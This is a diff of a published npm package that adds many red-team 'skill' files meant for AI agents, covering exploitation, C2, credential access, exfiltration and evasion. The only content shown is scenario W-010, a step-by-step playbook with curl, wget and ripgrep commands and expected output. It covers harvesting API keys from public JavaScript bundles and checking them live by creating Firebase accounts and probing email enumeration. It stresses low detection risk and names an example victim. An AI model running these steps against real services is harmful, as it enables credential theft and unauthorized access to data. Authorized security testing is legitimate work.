rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,574 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-w010
|
|
3
|
+
description: "W-010: API Key in JavaScript Bundle → Full Service Access. Domain: web. Attack chain: download JS bundle → grep for API keys → verify key validity → access all API endpoints → data exfiltration. MITRE: T1552.007 → T1530 → T1119. Real example: Almentor: Firebase key AIzaSy... + Contentful token → 190 CMS entries + Firebase account creation"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# W-010: API Key in JavaScript Bundle → Full Service Access
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:**
|
|
11
|
+
Extract hardcoded API keys and service tokens embedded in publicly served JavaScript bundles to gain unauthorized access to backend services, cloud infrastructure, and proprietary data stores.
|
|
12
|
+
|
|
13
|
+
**Required Access Level:** None (fully unauthenticated — target application must be publicly accessible)
|
|
14
|
+
|
|
15
|
+
**Estimated Time to Execute:** 15–60 minutes depending on bundle size and number of services
|
|
16
|
+
|
|
17
|
+
**Detection Risk Level:** Low
|
|
18
|
+
- JS bundle download is indistinguishable from normal browser traffic
|
|
19
|
+
- API key probing generates minimal noise if rate-limited carefully
|
|
20
|
+
- No authentication events or privileged escalation logs are triggered during key harvest phase
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## Prerequisites
|
|
25
|
+
|
|
26
|
+
### Required Tools
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
# curl — HTTP client for bundle download and API probing
|
|
30
|
+
# (pre-installed on macOS/Linux; Windows: winget install curl.curl)
|
|
31
|
+
|
|
32
|
+
# ripgrep — fast regex search across large JS files
|
|
33
|
+
cargo install ripgrep
|
|
34
|
+
# or: apt install ripgrep / brew install ripgrep / winget install BurntSushi.ripgrep.MSVC
|
|
35
|
+
|
|
36
|
+
# jq — JSON response parsing
|
|
37
|
+
apt install jq
|
|
38
|
+
# or: brew install jq / winget install jqlang.jq
|
|
39
|
+
|
|
40
|
+
# httpie (optional, ergonomic alternative to curl)
|
|
41
|
+
pip install httpie
|
|
42
|
+
|
|
43
|
+
# firebase-tools — Firebase REST API interaction and account probing
|
|
44
|
+
npm install -g firebase-tools
|
|
45
|
+
|
|
46
|
+
# contentful CLI — Contentful CMS enumeration
|
|
47
|
+
npm install -g contentful-cli
|
|
48
|
+
|
|
49
|
+
# trufflehog — automated secret detection in JS bundles
|
|
50
|
+
pip install trufflehog
|
|
51
|
+
# or: brew install trufflehog
|
|
52
|
+
|
|
53
|
+
# gitleaks (alternative secret scanner)
|
|
54
|
+
# https://github.com/gitleaks/gitleaks/releases
|
|
55
|
+
|
|
56
|
+
# Python 3 — scripting and automation
|
|
57
|
+
# (pre-installed on most systems)
|
|
58
|
+
|
|
59
|
+
# Burp Suite Community (optional) — intercept live bundle requests
|
|
60
|
+
# https://portswigger.net/burp/communitydownload
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### Required Access or Conditions
|
|
64
|
+
|
|
65
|
+
- Target web application is publicly accessible (no VPN or auth required to load the app)
|
|
66
|
+
- JavaScript bundles are served as static assets (standard for React, Angular, Vue, Next.js SPAs)
|
|
67
|
+
- Engagement is authorized (written scope agreement in place)
|
|
68
|
+
|
|
69
|
+
### Skill Level
|
|
70
|
+
|
|
71
|
+
**BEGINNER** — No exploitation framework required. All steps use standard HTTP clients and text search tools. Key concepts: HTTP requests, JSON APIs, regex pattern matching.
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## Attack Chain
|
|
76
|
+
|
|
77
|
+
```
|
|
78
|
+
[1] Enumerate JS Bundle URLs
|
|
79
|
+
|
|
|
80
|
+
v
|
|
81
|
+
[2] Download JS Bundles
|
|
82
|
+
|
|
|
83
|
+
v
|
|
84
|
+
[3] Grep / Scan for Embedded Secrets
|
|
85
|
+
|
|
|
86
|
+
v
|
|
87
|
+
[4] Identify Service (Firebase / Contentful / AWS / Stripe / etc.)
|
|
88
|
+
|
|
|
89
|
+
v
|
|
90
|
+
[5] Verify Key Validity (live API probe)
|
|
91
|
+
|
|
|
92
|
+
v
|
|
93
|
+
[6] Enumerate Accessible Endpoints / Resources
|
|
94
|
+
|
|
|
95
|
+
v
|
|
96
|
+
[7] Data Exfiltration (CMS entries, user records, storage objects)
|
|
97
|
+
|
|
|
98
|
+
v
|
|
99
|
+
[8] Document & Report
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
**MITRE ATT&CK Chain:**
|
|
103
|
+
- T1552.007 — Credentials in Files (JS bundle as credential store)
|
|
104
|
+
- T1530 — Data from Cloud Storage Object
|
|
105
|
+
- T1119 — Automated Collection
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## Step-by-Step Execution
|
|
110
|
+
|
|
111
|
+
### Step 1 — Identify JavaScript Bundle URLs
|
|
112
|
+
|
|
113
|
+
Open the target application in a browser. Open DevTools (F12) > Network tab > filter by "JS". Note all `.js` chunk filenames served from the CDN or origin.
|
|
114
|
+
|
|
115
|
+
Alternatively, spider the HTML source:
|
|
116
|
+
|
|
117
|
+
```bash
|
|
118
|
+
TARGET="https://app.target.example.com"
|
|
119
|
+
|
|
120
|
+
# Fetch the root HTML and extract all script src attributes
|
|
121
|
+
curl -s "$TARGET" | grep -oP '(?<=src=")[^"]+\.js[^"]*'
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
Expected output:
|
|
125
|
+
```
|
|
126
|
+
/static/js/main.a1b2c3d4.chunk.js
|
|
127
|
+
/static/js/vendors~main.e5f6a7b8.chunk.js
|
|
128
|
+
/_next/static/chunks/pages/index-9c3f2e1a.js
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
**Fallback:** Use Burp Suite proxy — browse the application normally and review the Site Map for all `.js` assets captured.
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
### Step 2 — Download All JS Bundles
|
|
136
|
+
|
|
137
|
+
```bash
|
|
138
|
+
BASE_URL="https://app.target.example.com"
|
|
139
|
+
BUNDLE_DIR="./bundles"
|
|
140
|
+
mkdir -p "$BUNDLE_DIR"
|
|
141
|
+
|
|
142
|
+
# Download each bundle identified in Step 1
|
|
143
|
+
curl -s "$BASE_URL/static/js/main.a1b2c3d4.chunk.js" -o "$BUNDLE_DIR/main.js"
|
|
144
|
+
curl -s "$BASE_URL/static/js/vendors~main.e5f6a7b8.chunk.js" -o "$BUNDLE_DIR/vendors.js"
|
|
145
|
+
|
|
146
|
+
# Bulk download using wget (recursive, JS only, no-clobber)
|
|
147
|
+
wget -r -l1 -nd -A "*.js" -P "$BUNDLE_DIR" "$BASE_URL"
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
Expected output:
|
|
151
|
+
```
|
|
152
|
+
bundles/
|
|
153
|
+
main.js (1.2 MB)
|
|
154
|
+
vendors.js (4.8 MB)
|
|
155
|
+
runtime-main.js (12 KB)
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
**Fallback:** If bundles are gzipped (`Content-Encoding: br` or `gzip`), use:
|
|
159
|
+
```bash
|
|
160
|
+
curl -s --compressed "$BASE_URL/static/js/main.js" -o "$BUNDLE_DIR/main.js"
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
### Step 3 — Scan for Embedded Secrets
|
|
166
|
+
|
|
167
|
+
#### Method A — ripgrep with targeted patterns
|
|
168
|
+
|
|
169
|
+
```bash
|
|
170
|
+
cd "$BUNDLE_DIR"
|
|
171
|
+
|
|
172
|
+
# Firebase API keys (format: AIzaSy followed by 33 chars)
|
|
173
|
+
rg 'AIzaSy[0-9A-Za-z_-]{33}' --no-filename -o | sort -u
|
|
174
|
+
|
|
175
|
+
# Contentful delivery/management tokens (64-char hex)
|
|
176
|
+
rg 'CDA|CMA|CFPAT|contentful' -i -l
|
|
177
|
+
rg '[0-9a-f]{64}' --no-filename -o | sort -u
|
|
178
|
+
|
|
179
|
+
# AWS Access Key IDs
|
|
180
|
+
rg 'AKIA[0-9A-Z]{16}' --no-filename -o | sort -u
|
|
181
|
+
|
|
182
|
+
# AWS Secret Access Keys (heuristic)
|
|
183
|
+
rg '"[0-9a-zA-Z/+]{40}"' --no-filename -o | sort -u
|
|
184
|
+
|
|
185
|
+
# Generic API key patterns
|
|
186
|
+
rg '(api[_-]?key|apikey|secret|token|bearer)\s*[:=]\s*["'"'"'][A-Za-z0-9_\-\.]{16,}["'"'"']' -i --no-filename -o | sort -u
|
|
187
|
+
|
|
188
|
+
# Stripe publishable / secret keys
|
|
189
|
+
rg 'pk_(live|test)_[0-9a-zA-Z]{24,}' --no-filename -o | sort -u
|
|
190
|
+
rg 'sk_(live|test)_[0-9a-zA-Z]{24,}' --no-filename -o | sort -u
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
#### Method B — TruffleHog automated scan
|
|
194
|
+
|
|
195
|
+
```bash
|
|
196
|
+
trufflehog filesystem ./bundles/ --only-verified
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
#### Method C — Manual inspection of configuration objects
|
|
200
|
+
|
|
201
|
+
Minified bundles often contain config objects. Search for the service name:
|
|
202
|
+
|
|
203
|
+
```bash
|
|
204
|
+
# Look for Firebase config block
|
|
205
|
+
rg -o '"apiKey":"[^"]+","authDomain":"[^"]+","projectId":"[^"]+"[^}]+}' main.js
|
|
206
|
+
|
|
207
|
+
# Look for Contentful space + token
|
|
208
|
+
rg -o 'space\s*:\s*"[^"]+".{0,200}accessToken\s*:\s*"[^"]+"' main.js
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
Expected output (example):
|
|
212
|
+
```
|
|
213
|
+
AIzaSyD4x9Kf2mN7pQ1rT8uV3wY6zA0bC5eF1gH
|
|
214
|
+
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
**Fallback:** If the bundle is heavily minified, use a JS beautifier first:
|
|
218
|
+
```bash
|
|
219
|
+
npm install -g js-beautify
|
|
220
|
+
js-beautify main.js -o main_pretty.js
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
### Step 4 — Identify Services and Classify Keys
|
|
226
|
+
|
|
227
|
+
Map each discovered key to its service:
|
|
228
|
+
|
|
229
|
+
| Pattern | Service | Risk |
|
|
230
|
+
|---|---|---|
|
|
231
|
+
| `AIzaSy...` | Google Firebase | High — auth, Firestore, Storage |
|
|
232
|
+
| 64-char hex | Contentful CDA/CMA | High — full CMS read/write |
|
|
233
|
+
| `AKIA...` | AWS IAM | Critical — depends on attached policy |
|
|
234
|
+
| `sk_live_...` | Stripe | Critical — financial transactions |
|
|
235
|
+
| `pk_live_...` | Stripe | Medium — payment form only |
|
|
236
|
+
| `xoxb-...` | Slack Bot Token | High — channel read/write |
|
|
237
|
+
| `ghp_...` | GitHub PAT | High — repo access |
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
### Step 5 — Verify Key Validity
|
|
242
|
+
|
|
243
|
+
#### Firebase API Key Verification
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
FIREBASE_KEY="AIzaSyD4x9Kf2mN7pQ1rT8uV3wY6zA0bC5eF1gH"
|
|
247
|
+
PROJECT_ID="target-app-prod"
|
|
248
|
+
|
|
249
|
+
# Attempt anonymous sign-in to verify key is active
|
|
250
|
+
curl -s -X POST \
|
|
251
|
+
"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$FIREBASE_KEY" \
|
|
252
|
+
-H "Content-Type: application/json" \
|
|
253
|
+
-d '{"returnSecureToken":true}' | jq .
|
|
254
|
+
|
|
255
|
+
# Check if email enumeration is possible
|
|
256
|
+
curl -s -X POST \
|
|
257
|
+
"https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=$FIREBASE_KEY" \
|
|
258
|
+
-H "Content-Type: application/json" \
|
|
259
|
+
-d '{"identifier":"test@test.com","continueUri":"http://localhost"}' | jq .
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
Expected output (valid key):
|
|
263
|
+
```json
|
|
264
|
+
{
|
|
265
|
+
"kind": "identitytoolkit#SignupNewUserResponse",
|
|
266
|
+
"localId": "abc123XYZ",
|
|
267
|
+
"idToken": "eyJhbGci...",
|
|
268
|
+
"refreshToken": "APZUo..."
|
|
269
|
+
}
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
Expected output (invalid/restricted key):
|
|
273
|
+
```json
|
|
274
|
+
{
|
|
275
|
+
"error": {
|
|
276
|
+
"code": 400,
|
|
277
|
+
"message": "API_KEY_NOT_VALID"
|
|
278
|
+
}
|
|
279
|
+
}
|
|
280
|
+
```
|
|
